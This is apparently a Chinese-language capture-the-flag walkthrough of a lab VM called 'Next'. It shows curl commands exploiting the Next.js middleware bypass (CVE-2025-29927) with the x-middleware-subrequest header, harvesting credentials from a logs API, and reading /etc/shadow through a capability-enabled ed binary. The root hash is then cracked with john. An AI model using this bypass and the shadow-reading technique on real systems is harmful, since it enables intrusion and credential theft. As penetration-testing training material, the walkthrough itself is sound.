一、信息收集

1.1 主机发现

使用 arp-scan 扫描局域网内的存活主机:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.190 08:00:27:67:3b:8a       PCS Systemtechnik GmbH
...

发现目标主机 IP 为 192.168.205.190

1.2 端口扫描

对目标进行全端口扫描,探测开放的服务:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.190
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.205.190
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
...

扫描结果显示开放了三个端口:

1.3 Web 服务探测

80 端口

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.190
No matter where life takes you, keep going NEXT.

只返回了一句提示信息,暗示可能与 Next.js 框架有关。

3000 端口

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.190:3000
<!DOCTYPE html><html><head>...
<meta name="hint" content="Authorized access at a secret endpoint. Try 2025." class="jsx-1eb51da0ac6ad36f"/>
...

页面源码中包含关键提示:

二、漏洞探测

2.1 目录扫描

根据提示信息,对 /api/ 路径进行目录扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u http://192.168.205.190:3000/api/ -e js,json
...
[12:01:03] 405 -   32B  - http://192.168.205.190:3000/api/login
[12:01:03] 307 -   18B  - http://192.168.205.190:3000/api/logs  ->  /secret-login-2025
...

发现关键路径:

2.2 Next.js 框架漏洞分析

访问 /secret-login-2025 返回登录页面,但正常访问会被中间件拦截。经过搜索,发现该版本的 Next.js 存在 CVE-2025-29927 漏洞。

漏洞原理

Next.js 在处理中间件时存在权限绕过漏洞,通过添加特定的 HTTP 头部 x-middleware-subrequest: middleware 可以绕过中间件的权限验证。

相关参考:

三、漏洞利用

3.1 绕过中间件访问登录页面

使用漏洞绕过中间件限制:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -H "x-middleware-subrequest: middleware" http://192.168.205.190:3000/secret-login-2025
<!DOCTYPE html><html>...
<title class="jsx-51c627a66454ffc6">Restricted Login | maze-sec</title>
...

成功获取到完整的登录页面。

3.2 分析前端代码获取凭据

下载并分析登录页面的 JavaScript 文件:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl -H "x-middleware-subrequest: middleware" http://192.168.205.190:3000/_next/static/chunks/pages/secret-login-2025-2d3e58ee9a68cbe4.js -o login.js

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat login.js | grep password
...console.log("Login attempt:",{username:r,password:c})...

代码显示登录信息会通过 console.log 输出,成功登录后会跳转到 /admin/dashboard

3.3 访问管理面板获取日志

继续使用漏洞访问管理面板:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -H "x-middleware-subrequest: middleware" http://192.168.205.190:3000/admin/dashboard
...
<h3 class="jsx-11905641757d090">System Logs</h3>
<p class="jsx-11905641757d090">Review system activity (contains sensitive data).</p>
...

发现系统日志功能,直接访问日志 API:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -H "x-middleware-subrequest: middleware" http://192.168.205.190:3000/api/logs | grep password
...
"2025-09-12 10:07:12 - Successful login: c1trus with password MazeSecure@2025!"
"2025-09-12 10:20:09 - Database backup: user=c1trus_db_admin, pass=MazeDB2025!"
...

成功获取到 SSH 登录凭据:

四、权限提升

4.1 SSH 登录

使用获取的凭据登录系统:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh c1trus@192.168.205.190
c1trus@192.168.205.190's password: MazeSecure@2025!
...
$ id
uid=1000(c1trus) gid=1000(c1trus) groups=1000(c1trus)

4.2 权限提升信息收集

检查 sudo 权限

$ sudo -l
...
User c1trus may run the following commands on Next:
    (ALL) NOPASSWD: /usr/bin/whoami

只能无密码执行 whoami,无法直接利用。

查找 SUID 文件

$ find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
...
-rwsr-xr-x 1 root root 63736 Jul 27  2018 /usr/bin/passwd
-rwsr-sr-x 1 root root 182600 Jan 14  2023 /usr/bin/sudo
...

标准的 SUID 程序,未发现异常。

查找具有特殊权限的文件

$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ed = cap_dac_read_search+ep
/usr/bin/ping = cap_net_raw+ep
...

发现 /usr/bin/ed 具有 cap_dac_read_search 能力,这个能力允许程序绕过文件读取权限检查。

4.3 利用 ed 读取敏感文件

ed 编辑器利用原理

ed 是一个行编辑器,当它具有 cap_dac_read_search 能力时,可以读取任何文件,无视文件权限。可以通过管道命令实现自动化读取。

读取 /etc/shadow

$ echo ",p\nq" | /usr/bin/ed /etc/shadow
941
root:$6$OkwDvceFhTabwVGQ$noxBcQ9o14G0cTyNdu9EBOoq3AmB660NS5Usr83oGcJNjxezZrwA/5ME3smPLzoizro5LRFqFKQlbO42l4rvt1:20343:0:99999:7:::
...
c1trus:$6$p/7V81X3jW.t4UVk$p0QwkfnPmVwKd5G45ABhShw/bdysk8cCAOF7a2AU/rKcpjFbmeGEN2Wq6AyXcLLgq3ldpBMWDg7VSupIzy7w4/:20343:0:99999:7:::

命令解释:

4.4 密码破解

将 root 用户的哈希保存到本地进行破解:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ echo 'root:$6$OkwDvceFhTabwVGQ$noxBcQ9o14G0cTyNdu9EBOoq3AmB660NS5Usr83oGcJNjxezZrwA/5ME3smPLzoizro5LRFqFKQlbO42l4rvt1' > hash

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
bisrock          (root)
...

成功破解 root 密码:bisrock

五、获取 Flag

使用破解的密码切换到 root 用户:

$ su -
Password: bisrock
root@Next:~# cat /root/root.txt /home/c1trus/user.txt
flag{root_8812662dcf3e5db0247c0f85909363fc}
flag{user_d0cab90d8d20d57e2f2b9be52f7dd25d}

成功获取两个 flag: